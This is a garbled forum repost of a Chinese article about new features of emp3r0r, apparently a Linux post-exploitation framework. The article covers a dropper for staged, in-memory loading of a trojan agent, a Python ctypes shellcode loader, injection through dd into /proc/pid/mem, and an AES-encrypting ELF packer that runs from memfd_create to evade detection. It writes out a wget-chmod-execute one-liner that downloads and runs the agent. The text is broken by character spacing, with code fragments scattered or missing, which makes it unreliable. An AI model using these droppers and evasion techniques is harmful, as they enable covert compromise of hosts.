搜索

[16366] 2021-01-26_emp3r0r：dropper和ELF加密壳

文档创建者：s7ckTeam
浏览次数：36
最后更新：2025-01-18
2021-01-26_emp3r0r：dropper和ELF加密壳 e m p 3 r 0 r ： d r o p p e r 和 E L F 加 密 壳 j m 3 3 _ n g   F r e e B u f   2 0 2 1 - 0 1 - 2 6 介 绍 介 绍 本 文 是 e m p 3 r 0 r ： L i n u x 用 户 打 造 的 L i n u x 后 渗 透 框 架 的 后 续 。 首 先 感 谢 大 家 对 e m p 3 r 0 r 的 肯 定 ， 如 果 有 什 么 想 法 可 以 在 评 论 区 交 流 。 最 近 添 加 了 些 我 觉 得 可 能 有 用 的 东 西 ， 今 天 要 介 绍 的 就 是 d r o p p e r 和 p a c k e r 两 个 新 功 能 。 d r o p p e r 顾 名 思 义 是 用 来 d r o p 东 西 的 ， 之 所 以 会 用 到 它 ， 是 因 为 我 们 一 般 倾 向 于 分 阶 段 （ s t a g e d ） 的 加 载 技 术 ， 为 什 么 分 阶 段 ， 因 为 你 第 一 阶 段 可 能 处 于 一 个 比 较 受 限 的 环 境 ， 不 能 直 接 把 你 的 东 西 都 甩 上 来 。 简 单 地 理 解 ， d r o p p e r 可 以 是 一 段 s h e l l 命 令 ， 用 来 d r o p 我 们 的 a g e n t （ 也 就 是 木 马 ） E L F 文 件 ， 比 如 脚 本 小 子 喜 欢 用 的 。 我 们 不 是 脚 本 小 子 ， 所 以 我 们 更 愿 意 用 一 些 高 级 的 d r o p p e r ， 比 如 大 家 都 喜 欢 的 内 存 加 载 ， 这 也 是 本 文 所 要 介 绍 的 主 题 之 一 。 至 于 说 p a c k e r ， 你 们 一 般 叫 它 加 壳 。 加 壳 的 一 个 主 要 目 的 是 避 免 被 查 杀 ， 不 过 由 于 e m p 3 r 0 r 的 自 身 设 计 ， 每 个 目 标 主 机 上 运 行 的 a g e n t 都 是 不 同 的 文 件 （ 靠 h a s h 来 查 杀 的 懒 人 们 可 以 歇 歇 了 ） ， 一 般 是 不 太 容 易 被 常 见 的 主 机 防 护 软 件 查 杀 了 。 不 过 为 了 高 级 些 ， 也 为 了 配 合 内 存 加 载 的 需 要 ， 我 还 是 搞 了 个 加 密 的 p a c k e r 。 接 下 来 进 入 正 题 。 D r o p p e r   与 与 S h e l l c o d e 怎 么 生 成 怎 么 生 成 先 说 下 为 什 么 用 s h e l l c o d e 。 因 为 1 .   这 个 东 西 可 以 注 入 到 其 它 进 程 中 ； 2 .   理 论 上 它 可 以 没 有 任 何 依 赖 条 件 。 菜 鸡 如 我 从 来 没 有 写 过 s h e l l c o d e ， 就 先 拿 m s f v e n o m 介 绍 下 吧 ： 我 们 想 要 的 是 一 个 可 以 下 载 执 行 E L F 文 件 的 s h e l l c o d e ， 很 遗 憾 它 没 有 。 它 甚 至 连 一 款 实 现 了 h t t p 通 信 的 s h e l l c o d e 都 没 有 ， 仅 有 的 那 个 h t t p 的 m e t e r p r e t e r   p a y l o a d ， 并 不 是 个 s h e l l c o d e （ s o r r y ） 。 w g e t   [ h t t p : / / d o w n l o a d . h o s t . c o m / a g e n t ] ( h t t p : / / d o w n l o a d . h o s t . c o m / a g e n t )   & &   c h m o d   7 5 5   a g e n t   & &   . / a g e n t
所 以 不 会 写 s h e l l c o d e 又 想 演 示 一 下 的 话 ， 就 用 这 个 脱 裤 子 放 屁 的 吧 。 怎 么 用 ？ 你 直 接 把 它 的 e x e c 命 令 设 成 这 样 。 我 们 要 生 成 一 个 字 节 串 供 之 后 e m p 3 r 0 r 使 用 ： 稍 微 解 释 下 ， 是 的 一 部 分 ， 很 多 l i n u x 发 行 版 默 认 会 有 这 个 包 。 是 l i n u x 的 s h a r e d   m e m o r y 挂 载 点 ， 放 到 这 里 就 是 放 到 了 内 存 （ 虽 然 比 较 显 眼 ） 。 纯 纯 b a s h 实 现 文 件 下 载 实 现 文 件 下 载 现 在 的 b a s h 基 本 上 都 支 持 T C P   p s e u d o   d e v i c e ， 我 们 完 全 可 以 在 此 基 础 上 实 现 一 个 H T T P 下 载 功 能 。 参 考 s h e l l   t i p s 的 示 例 ， 我 们 可 以 把 它 做 成 一 个 s u b s h e l l 命 令 ： 结 合 前 面 的 ， 把 它 做 成 一 个 o n e   l i n e r : l i n u x / x 6 4 / e x e c w g e t   [ h t t p : / / d o w n l o a d . h o s t . c o m / a g e n t ] ( h t t p : / / d o w n l o a d . h o s t . c o m / a g e n t )   & &   c h m o d   7 5 5   a g e n t   & &   . / a g e n t l w p - d o w n l o a d l i b w w w - p e r l / d e v / s h m
所 以 我 们 就 可 以 把 这 个 o n e   l i n e r 作 为 m s f v e n o m 的 命 令 参 数 来 生 成 s h e l l c o d e ， 这 样 可 以 兼 容 更 多 的 目 标 主 机 。 当 然 ， 为 了 让 s h e l l c o d e 更 短 ， 你 完 全 可 以 m i n i f y 一 下 上 面 的 脚 本 ， 也 可 以 删 掉 不 必 要 的 部 分 。 S h e l l c o d e 加 载 加 载 P y t h o n 你 不 能 直 接 拿 s h e l l 脚 本 去 执 行 s h e l l c o d e ， 对 吧 ？ 不 对 。 有 一 些 几 乎 所 有 l i n u x 主 机 都 会 预 装 的 工 具 程 序 ， 结 合 它 们 写 个 s h e l l 脚 本 ， 实 现 一 个 s h e l l c o d e   l o a d e r 还 是 可 行 的 。 比 如 p y t h o n （ 我 知 道 这 不 是 b a s h ， 但 你 还 得 从 b a s h 或 者 别 的 什 么 s h e l l 来 加 载 p y t h o n 吧 ？ ） p y t h o n 实 现 这 一 点 是 通 过 c t y p e s 。 这 是 一 个 提 供 C 调 用 接 口 的 功 能 ， 让 你 可 以 在 p y t h o n 中 直 接 调 用 C 的 函 数 ， 所 以 我 们 可 以 利 用 这 一 点 调 用 g l i b c 的 函 数 来 加 载 s h e l l c o d e 。 根 据 s e k t o r 7 的 文 章 ， 思 路 大 致 是 ： 加 载 l i b c 到 当 前 p y t h o n 进 程 使 用 m m a p 分 配 一 块 具 有 写 入 和 执 行 权 限 的 内 存 区 域 把 s h e l l c o d e 写 进 去 c a s t 我 们 的 s h e l l c o d e   b u f f e r 类 型 ， 以 便 作 为 “ 函 数 ” 来 调 用 ： ( v o i d   * ) s h e l l c o d e c a l l 我 们 的 s h e l l c o d e 代 码 如 下 ：
我 把 这 个 脚 本 集 成 到 了 e m p 3 r 0 r 的 d r o p p e r 模 块 中 ， 如 果 你 需 要 加 载 自 己 的 s h e l l c o d e ， 请 按 照 W i k i 的 说 明 操 作 。 最 终 会 生 成 一 个 s h e l l 命 令 ， 直 接 在 目 标 主 机 运 行 即 可 ： 下 图 是 全 过 程 的 示 意 ： d d 就 不 解 释 d d 是 干 啥 的 了 。
这 里 的 思 路 是 启 动 一 个 进 程 如 s l e e p ， 然 后 用 d d 朝 它 的 内 存 写 入 s h e l l c o d e 。 首 先 ， 在 l i n u x 中 ， 大 部 分 情 况 下 ， 我 们 可 以 修 改 子 进 程 的 内 存 （ ） 。 我 们 的 b a s h 脚 本 会 启 动 一 个 进 程 ， 然 后 使 用 来 替 换 当 前 b a s h ， 最 后 就 成 为 了 的 父 进 程 。 然 后 ， 我 们 把 s h e l l c o d e 写 到 的 t e x t 段 某 处 ， 等 待 它 被 执 行 。 但 我 还 没 搞 成 功 ， 下 次 再 写 篇 文 章 吧 。 P a c k e r 加 密 与 运 行 加 密 与 运 行 这 个 p a c k e r 完 全 使 用 G o 开 发 ， 改 编 自 h t t p s : / / g i t h u b . c o m / g u i t m z / e z u r i 。 思 路 是 把 a g e n t 的 E L F 文 件 进 行 A E S 加 密 ， 拼 接 到 s t u b 上 ， s t u b 运 行 的 时 候 ， 会 定 位 原 E L F 的 位 置 ， 将 它 解 密 。 解 密 之 后 用 给 它 找 个 匿 名 内 存 f d ， 写 进 去 ， 并 执 行 。 从 内 存 启 动 从 内 存 启 动 自 L i n u x   3 . 1 7 之 后 ， 可 以 返 回 一 个 匿 名 的 内 存 区 块 ， 让 用 户 可 以 像 使 用 普 通 的 一 样 使 用 它 。 所 以 我 们 的 p a c k e r 首 选 这 个 启 动 方 式 。 / p r o c / p i d / m e m s l e e p d d d d s l e e p s l e e p m e m f d _ c r e a t e m e m f d _ c r e a t e F I L E   *
用 G o 一 样 可 以 调 用 s y s c a l l ， 而 只 能 通 过 s y s c a l l 调 用 ， 没 有 暴 露 其 它 什 么 接 口 。 最 后 如 果 失 败 ， 我 们 就 退 回 简 单 的 t m p f s 方 法 ， 也 就 是 。 更 新 计 划 更 新 计 划 接 下 来 会 添 加 的 几 个 功 能 ： 1 . 从 C C 端 到 a g e n t 端 的 反 向 端 口 映 射 。 这 个 功 能 可 以 让 其 它 后 渗 透 工 具 （ 如 c o b a l t   s t r i k e ） 的 a g e n t 通 过 e m p 3 r 0 r 的 通 信 隧 道 连 接 它 们 自 己 的 C C 服 务 2 . 使 用 G D B 对 目 标 主 机 的 进 程 注 入 s h e l l c o d e ， 或 者 对 自 行 启 动 的 子 进 程 注 入 （ 如 果 权 限 不 足 ） 。 这 个 功 能 让 你 进 一 步 运 行 c o b a l t   s t r i k e 或 其 它 工 具 变 得 更 加 方 便 和 隐 蔽 3 . 用 d d 实 现 的 一 个 d r o p p e r 精 彩 推 荐 精 彩 推 荐 m e m f d _ c r e a t e m e m f d _ c r e a t e / d e v / s h m
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理